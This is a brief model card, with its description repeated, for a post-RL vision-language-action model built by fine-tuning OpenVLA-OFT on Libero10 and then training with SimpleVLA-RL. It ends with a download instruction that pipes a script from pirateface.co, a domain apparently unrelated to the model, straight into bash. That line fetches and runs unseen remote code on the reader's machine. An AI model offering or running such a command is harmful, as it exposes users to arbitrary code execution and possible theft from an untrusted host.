This is the post-RL model.
We first fine-tuned OpenVLA-OFT on Libero10 using one trajectory per task and then applied SimpleVLA-RL for online reinforcement learning, resulting in the final model.
This is the post-RL model.
We first fine-tuned OpenVLA-OFT on Libero10 using one trajectory per task and then applied SimpleVLA-RL for online reinforcement learning, resulting in the final model.
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curl -fsSL https://pirateface.co/package.sh | bash -s -- --repo liuhaoch/openvla-oft-libero10-traj1-rl-offline-r1r2-libero-spatial-full ./model-folder